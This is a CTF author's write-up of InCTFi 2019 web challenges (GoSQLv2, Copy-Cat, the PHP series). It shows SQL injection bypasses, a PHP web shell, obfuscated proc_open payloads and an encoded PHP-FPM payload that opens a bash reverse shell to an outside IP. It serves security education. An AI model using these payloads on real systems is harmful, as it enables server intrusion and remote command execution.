Hey, I am SpyD3r(TarunkantG) and In this blog I will be discussing all the 5 web challenges that I made for InCTFi 2019 and a lot of SQLi and bypassing disable_functions tricks.
The first challenge was Copy-Cat which had 3 solves, second challenge was GoSQLv2 which got 2 solves and the other challenge were based on PHP-internals from which PHP+2 got least solves that is 1.
GoSQLv2
This challenge was next version of last year’s GoSQL, you can take look at the writeup here. This time, this challenge wasn’t that hard because you knew what to do and how to go forward in the challenge, So only thing you need to do exploit SQLi(2 times)+SSRF+bypass disable_functions and finally you need to get RCE. Before reading this writeup I suggest you to read last year writeup first.
This challenge is not much different from the last year, only thing is, this time you have to use different SQL tricks to get admin and the different exploit to get database user()
. Then same SSRF (using Gopherus) then finally need to bypass disable_functions to get RCE.
So the first thing I hope you did was diff
didn’t you?
Yeah, same thing I would have done and that was the right way to do it. So when you diff
you will get to know that you can’t use UTF-8
charset (So last year trick won’t work ;). And these things which were blocked earlier, this time not:
1 | |-|0|'| |
And these things which were not blocked earlier, this time extra added:
1 | |ad|min|\|0b|0x|having|insert|decode|in|sleep|>|exp| |
So as you can see we can use Single Quote( ‘ ), and for commenting ( - ) is it only used for commenting??
Trick-1
1 | select * from login where username=''-sleep(1); |
This will sleep for number of entries in the database (in this case 12 sec).
So that’s how you can dump the database, but here you can’t use sleep
because it is also blacklisted. So the main idea is here you can execute SQL commands after putting -
.
For getting admin
you don’t have to do anything much, just needed to concatenate strings.
Trick-2
1 | select * from login where username='t' 'a' 'r' 'u' 'n' 'k' 'a' 'n' 't'; |
So the final payload I used to get admin was:
1 | /?name=a%27%0a%27d%27%0a%27m%27%0a%27i'%0a'n |
Now you need to find another SQLi to get mysql_user
How?
By taking the advantage of this:
1 | } |
We will make MySQL to return some time query problem
and some time not admin
, and doing that we can get mysql_user
.
Trick-3
1 | select * from login where username=''-(~(select 1=1)+1); |
Now you know how to bypass that only you need to find alternatives of blacklisted keywords. So instead of =
you could have used <
, for space %0a
.
Trick-4
1 | select 'root'>'a'; # Will return True |
Like that you can bruteforce and get whole string.
The full script for finding the username can be found here.
There was one unintended, that I wanted to discuss, one of my teammate(@__c3rb3ru5__) found that during challenge testing phase(that’s why testing is important ;)). That trick was really mind-fucking.
1 | select * from users where username='a' 'dm' 'in'>(user()>'s'); |
Here if it true you will get redirected else it will return You are not admin
. Using that you can dump the user. That’s why I had to blacklist >
, because my payload can also work with <
;)
Now we go into the second phase of the challenge, that is SSRF + bypass disable_functions to get RCE.
The first few steps are same as last year, get to know the user_privileges and read the mysql conf file, using that write the shell payload at URL/tmp_hell
. These things you can do using Gopherus. There you can see that you will not able to execute the system
commands, because of disable_function. So next thing you would do is to run phpinfo()
and you will see the list of disable_function:
1 | pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,stream_socket_sendto,stream_socket_client,pcntl_async_signals,error_log,system,exec,shell_exec,popen,proc_open,passthru,link,symlink,syslog,imap_open,ld,mail,file_put_contents,scandir,file_get_contents,readfile,fread,fopen,chdir |
and open_basedir:
1 | open_basedir = "/var/www/html:/tmp/test1" |
Trick-5
Bypass open_basedir using:
1 | $file_list = array(); $it = new DirectoryIterator("glob:///va?/ru?/p?p//*"); foreach($it as $f) { $file_list[] = $f->__toString(); } echo 1234; $it = new DirectoryIterator("glob:///va?/ru?/p?p/.*"); foreach($it as $f) { $file_list[] = $f->__toString(); } sort($file_list); foreach($file_list as $f){ echo $f . "\n"; } |
Thanks to balsn-writeup.
There you can find php-fpm unix socket file which gives you the idea that there is PHP-FPM installed in the server.
Now you need to poison the request to the unix socket to get the shell. You can use fsockopen
for writing in the socket file. Payload you can generate from Gopherus, and make sure you don’t use default file name, use /var/www/html/index.php
instead.
The payload for getting shell:
1 | $fp%20=%20fsockopen("unix:///var/run/php/php7.0-fpm.sock",%20-1,%20$errno,%20$errstr,%2030);%20fwrite($fp,base64_decode("AQEAAQAIAAAAAQAAAAAAAAEEAAEBBQUADxBTRVJWRVJfU09GVFdBUkVnbyAvIGZjZ2ljbGllbnQgCwlSRU1PVEVfQUREUjEyNy4wLjAuMQ8IU0VSVkVSX1BST1RPQ09MSFRUUC8xLjEOA0NPTlRFTlRfTEVOR1RIMTAxDgRSRVFVRVNUX01FVEhPRFBPU1QJS1BIUF9WQUxVRWFsbG93X3VybF9pbmNsdWRlID0gT24KZGlzYWJsZV9mdW5jdGlvbnMgPSAKYXV0b19wcmVwZW5kX2ZpbGUgPSBwaHA6Ly9pbnB1dA8XU0NSSVBUX0ZJTEVOQU1FL3Zhci93d3cvaHRtbC9pbmRleC5waHANAURPQ1VNRU5UX1JPT1QvAAAAAAABBAABAAAAAAEFAAEAZQQAPD9waHAgc3lzdGVtKCdiYXNoIC1jICJzaCAtaSA%2BJiAvZGV2L3RjcC8zLjE1LjI1NS4yNC8xMjM0IDA%2BJjEiJyk7ZGllKCctLS0tLU1hZGUtYnktU3B5RDNyLS0tLS0KJyk7Pz4AAAAA")); |
Copy-Cat
This was code-review challenge, the challenge story was: There is a website and admin can only login from his office, for making the admin to work from home too, the website developer also implemented a way so that, the admin can also open the website from any other places.
So, the task was to hack that implementation and be admin (However, it is the 1st part of the challenge).
Bypass SQLi
1 | function escape($str){ |
Here you have to crack the check
function, as this function doing escape and then substr to take first 11 character, you can abuse that to bypass SQL injection.
1 | Username: 1111111111\ |
The escape function will make this username to 1111111111\\
, but substr will take only 11 character, which made vulnerable this function.
After login, you can see the message saying that, you have to proove that you are admin. This time it checks if the user came from 127.0.0.1
or not!
1 | $remote_admin = create_function("",'if(isset($_SERVER["HTTP_I_AM_ADMIN"])){$_SERVER["REMOTE_ADDR"] = $_SERVER["HTTP_I_AM_ADMIN"];}'); |
Trick-6
create_function
creates lamda
function known as Anonymous functions.
Using this you need to bypass this stage, here you can get the exploit script for doing the same.
Now admin has the functionality to import zip file, and our game server will extract the non-malicious files.
Intended Step for this stage:
1 | function ExtractZipFile($file,$path){ |
CheckDir
is the function to check and remove malicious files. And ExtractZipFile
functions will extract the files from zip. So, let’s see how these functions are called.
1 | ExtractZipFile($_FILES['file']['tmp_name'], $SANDBOX); |
Do you see the problem here? Race-Condition. So using the Race Condition you can execute PHP files before it gets deleted, so you can see that it’s too much unstable. Not everytime for running a PHP code I can make race-codition.
So we need to find a stable method from where you can quey PHP codes.
So here is the idea, what if you can put file in parent directory because the function CheckDir
checks for malicious file in current directory(recursively).
1 | $payload = '<?php eval($_GET[\'cmd\']); ?> '; |
So putting this file using Race-Condition will give us to execute PHP codes.
Unintended Step for the same stage:
The unintended was to upload .pht
files because server treats them as php
file.
Now from both ways you can create a stable file from where you can execute PHP code.
If you see the phpinfo()
, you can see the disable_function list:
1 | pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,error_log,system,exec,shell_exec,popen,proc_open,passthru,link,symlink,syslog,imap_open,ld,mail,fread,fopen,file_get_contents,readfile,chdir |
Here, you can see that putenv
is not there, but all the majorly known function like, error_log
and mail
are blocked. And also PHP-Imagick library is not there.
But there is function which works same as mail
is mb_send_mail
(For this to be working mbstring
module should be there).
This function came up when I was fuzzing the php-functions to see which all functions calls execve internally. We(I and @__c3rb3ru5__) implemented a dumb fuzzer for that. We will be releasing a blog soon with the result of our small research.
So final exploit:
1 | #For getting consistent php code execution |
The exploit.c file:
1 |
|
You can get here the exploit for Race-Condition here.
PHP Series
The PHP series was related to PHP-internals.
PHP+1
In this challenge I didn’t check if the input contains the blacklisted keyword.
If you check for disable_functions, you will found that proc_open
was unblocked.
So there can be several solutions for this stage, here is one:
1 | $x=(ch).(r);$k=$x(95);$l=$x(47);$a=(pr).(oc).$k.(op).(en);$b=($l.readFlag);$c=(p).(i).(pe);$d=r;$e=w;$f=(p).(i).(pes);$g=(pri).(nt).$k.(r);$h=(str).(eam).$k.(ge).(t).$k.(con).(tents);$i=(arra).(y).$k.(sh).(ift);$j=(arra).(y).$k.(sl).(ice);$z=$a($b,array(array($c,$d),array($c,$e),array($c,$e)),$$f);$g($h($i($j($$f,1,2)))); |
PHP+1.5
Here the blacklist check was being done, but no check on length of input. So again:
1 | $x=(ch).(r);$k=$x(95);$l=$x(47);$a=(pr).(oc).$k.(op).(en);$b=($l.readFlag);$c=(p).(i).(pe);$d=r;$e=w;$f=(p).(i).(pes);$g=(pri).(nt).$k.(r);$h=(str).(eam).$k.(ge).(t).$k.(con).(tents);$i=(arra).(y).$k.(sh).(ift);$j=(arra).(y).$k.(sl).(ice);$z=$a($b,array(array($c,$d),array($c,$e),array($c,$e)),$$f);$g($h($i($j($$f,1,2)))); |
PHP+2
In this challenge the proc_open
was blocked. This challenge was based on 1day exploit, you can see the actual PoC here.
You can also get the exploit code here (Thanks to OpenToAll for this). OpenToAll was the only team to solve this challenge.
If you are wondering how we can put this big file under the given condition of length constraint, here is the snippet:
1 | def e(s): |
PHP+2.5
In this challenge prroc_open
was unblocked. The intended solution was to find a Segmentation Fault, and using that upload the file and using Race-Condition get the shell.
If you are not familiar with this, RCE through Segfault+LFI, you can read this blog.
As of my PoC, you can visit to this bug.
The unintended solution was to find a working payload which is less than 100 length and that we found in PHP+2 itself.
I hope you get fun solving my InCTF challenges and may this blog help you to understand the challenge solutions.